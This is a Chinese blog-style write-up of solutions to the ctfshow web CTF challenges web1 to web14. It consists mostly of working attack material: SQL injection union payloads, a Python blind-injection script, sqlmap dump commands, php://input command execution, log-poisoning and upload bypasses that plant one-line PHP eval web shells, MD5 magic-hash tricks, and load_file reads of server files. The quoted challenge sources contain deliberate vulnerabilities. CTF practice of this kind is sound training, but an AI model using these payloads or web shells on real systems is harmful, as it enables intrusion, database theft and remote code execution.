本文主要是介绍ctfshow web web签到--web14,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
web签到
查看源代码解码即可
web2
SQL注入,我之前是没遇到这种格式的长了新姿势
' or 1=1 union select 1,database(),3 limit 1,2;#' or 1=1 union select 1,(select table_name from information_schema.tables where table_schema='web2' limit 0,1),3 limit 1,2;#' or 1=1 union select 1,(select column_name from information_schema.columns where table_name ='flag' limit 0,1),3 limit 1,2;#' or 1=1 union select 1,(select flag from flag),3 limit 1,2;#
web3
php伪协议,不知道flag文件所以不能用
php://filter/read=convert.base64-encode/resource=flag.php
用输入流php://input
然后POST 传参
<?=system('cat c*');?>
web4
?file=/var/log/nginx/access.log
日志文件包含改UA头
为小马
<?=eval($_POST[1]);?>
antsword
链接,免得去上级目录找
web5
<?php$flag="";$v1=$_GET['v1'];$v2=$_GET['v2'];if(isset($v1) && isset($v2)){if(!ctype_alpha($v1)){die("v1 error");}if(!is_numeric($v2)){die("v2 error");}if(md5($v1)==md5($v2)){echo $flag;}}else{echo "where is flag?";}?>
v1必须为字母v2必须为数字
?v1=QNKCDZO&v2=240610708
web6
or和空格被过滤
sqlmap -u https://82548fa4-52ed-4d0a-ad72-c8c2585fd291.challenge.ctf.show/index.php?id=1 --tamper=space2comment --data="username=1&password=1" -D web2 -T flag -C flag --dump
我想手注的,但是不知道为什么没有回显了只能sqlmap了
web7
先扫的后台没啥用
发现这个页面像sql注入
可以手注空格绕过,但是我的还是没有回显
sqlmap -u https://7f5914a5-e5d9-465a-aca7-43152dcc8bea.challenge.ctf.show/index.php?id=3 --data="username=1&password=1" --tamper=space2comment -D web7 -T flag --dump
web8
import requestsurl = 'http://ff2620fd-933a-4a76-bdbf-b814f4afabe3.challenge.ctf.show/index.php?id=3/**/or/**/'
name = ''# 循环45次( 循环次数按照返回的字符串长度自定义)
for i in range(1, 45):# 获取当前使用的数据库# payload = 'ascii(substr(database()from/**/%d/**/for/**/1))=%d'# 获取当前数据库的所有表# payload = 'ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%d/**/for/**/1))=%d'# 获取flag表的字段# payload = 'ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%d/**/for/**/1))=%d'# 获取flag表的数据payload = 'ascii(substr((select/**/flag/**/from/**/flag)from/**/%d/**/for/**/1))=%d'count = 0print('正在获取第 %d 个字符' % i)# 截取SQL查询结果的每个字符, 并判断字符内容for j in range(31, 128):result = requests.get(url + payload % (i, j))if 'If' in result.text:name += chr(j)print('数据库名/表名/字段名/数据: %s' % name)break# 如果某个字符不存在,则停止程序count += 1if count >= (128 - 31):exit()
web9
这道题我很熟悉但是一时半会想不起来了
扫后台
对于函数md5(string,raw)
第二个参数有以下可选项:
TRUE - 原始 16 字符二进制格式
FALSE - 默认。32 字符十六进制数
<?php$flag="";$password=$_POST['password'];if(strlen($password)>10){die("password error");}$sql="select * from user where username ='admin' and password ='".md5($password,true)."'";$result=mysqli_query($con,$sql);if(mysqli_num_rows($result)>0){while($row=mysqli_fetch_assoc($result)){echo "登陆成功<br>";echo $flag;}}?>
那么我们就需要用特殊的密码
ffifdyop //之前遇到过但是忘了在哪里了,也是验证管理员身份
129581926211651571912466741651878684928
理论上这两个都行但是由于限制了10位
这样子就能在转化二进制的时候有'or' xxxx
那么
password ='or' xxxx'
刚好闭合,管理员身份就过了
web10
<?php$flag="";function replaceSpecialChar($strParam){$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";return preg_replace($regex,"",$strParam);}if (!$con){die('Could not connect: ' . mysqli_error());}if(strlen($username)!=strlen(replaceSpecialChar($username))){die("sql inject error");}if(strlen($password)!=strlen(replaceSpecialChar($password))){die("sql inject error");}$sql="select * from user where username = '$username'";$result=mysqli_query($con,$sql);if(mysqli_num_rows($result)>0){while($row=mysqli_fetch_assoc($result)){if($password==$row['password']){echo "登陆成功<br>";echo $flag;}}}?>
我们并不知道密码,这里用with rollup
绕过
引用一个师傅的话:
with rollup: 要配合 group by 一块儿使用,
”group by password with rollup”,
简单说一下,就是使用with rollup 查询以后,查询结果集合里面会多一条NULL 记录,
这一题利用NULL 和空字符相等,而后获得flag。
所以我们就是要通过with rollup使sql语句查询结果为null,
然后不输入password使password为null
'or/**/1=1/**/group/**/by/**/password/**/with/**/rollup#
web11
<?phpfunction replaceSpecialChar($strParam){$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";return preg_replace($regex,"",$strParam);}if(strlen($password)!=strlen(replaceSpecialChar($password))){die("sql inject error");}if($password==$_SESSION['password']){echo $flag;}else{echo "error";}?>
我们只要session也为空即可
web12
查看源码发现提示
本来是想直接命令执行的,发现过滤了就用这个来看目录
?cmd=print_r(scandir('./'));
?cmd=show_source('903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php');
web13
并没有说啥
上传一个png文件
回显是成功了但是利用不上
这里就是用.user.ini
文件来处理
auto_prepend_file=1.txt
通过备份文件查看源码
upload.php.bak
<?php header("content-type:text/html;charset=utf-8");$filename = $_FILES['file']['name'];$temp_name = $_FILES['file']['tmp_name'];$size = $_FILES['file']['size'];$error = $_FILES['file']['error'];$arr = pathinfo($filename);$ext_suffix = $arr['extension'];if ($size > 24){die("error file zise");}if (strlen($filename)>9){die("error file name");}if(strlen($ext_suffix)>3){die("error suffix");}if(preg_match("/php/i",$ext_suffix)){die("error suffix");}if(preg_match("/php/i"),$filename)){die("error file name");}if (move_uploaded_file($temp_name, './'.$filename)){echo "文件上传成功!";}else{echo "文件上传失败!";}?>
查看源码原来我们的木马太长了
<?php eval($_GET['a']);
web14
<?php
include("secret.php");if(isset($_GET['c'])){$c = intval($_GET['c']);sleep($c);switch ($c) {case 1:echo '$url';break;case 2:echo '@A@';break;case 555555:echo $url;case 44444:echo "@A@";break;case 3333:echo $url;break;case 222:echo '@A@';break;case 222:echo '@A@';break;case 3333:echo $url;break;case 44444:echo '@A@';case 555555:echo $url;break;case 3:echo '@A@';case 6000000:echo "$url";case 1:echo '@A@';break;}
}highlight_file(__FILE__);
要让回显有用的东西我们不可能回显几万,靶机都没了,所有挨着试
?c=3 获得here_1s_your_f1ag.php
访问F12获得查询语句
if(preg_match('/information_schema\.tables|information_schema\.columns|linestring| |polygon/is', $_GET['query'])){die('@A@');}
显然我们不能用正常的SQL注入了
虽然有mysql.innodb_table_stats和mysql.innodb_index_stats来代替但是别忘了我们前面有一个secret.php没用呢
?query=-1/**/union/**/select/**/load_file('/var/www/html/secret.php')
我先还在上面的payload直接加的但是错了,然后必须-1才能注入成功
?query=-1/**/union/**/select/**/load_file('/real_flag_is_here')
这篇关于ctfshow web web签到--web14的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!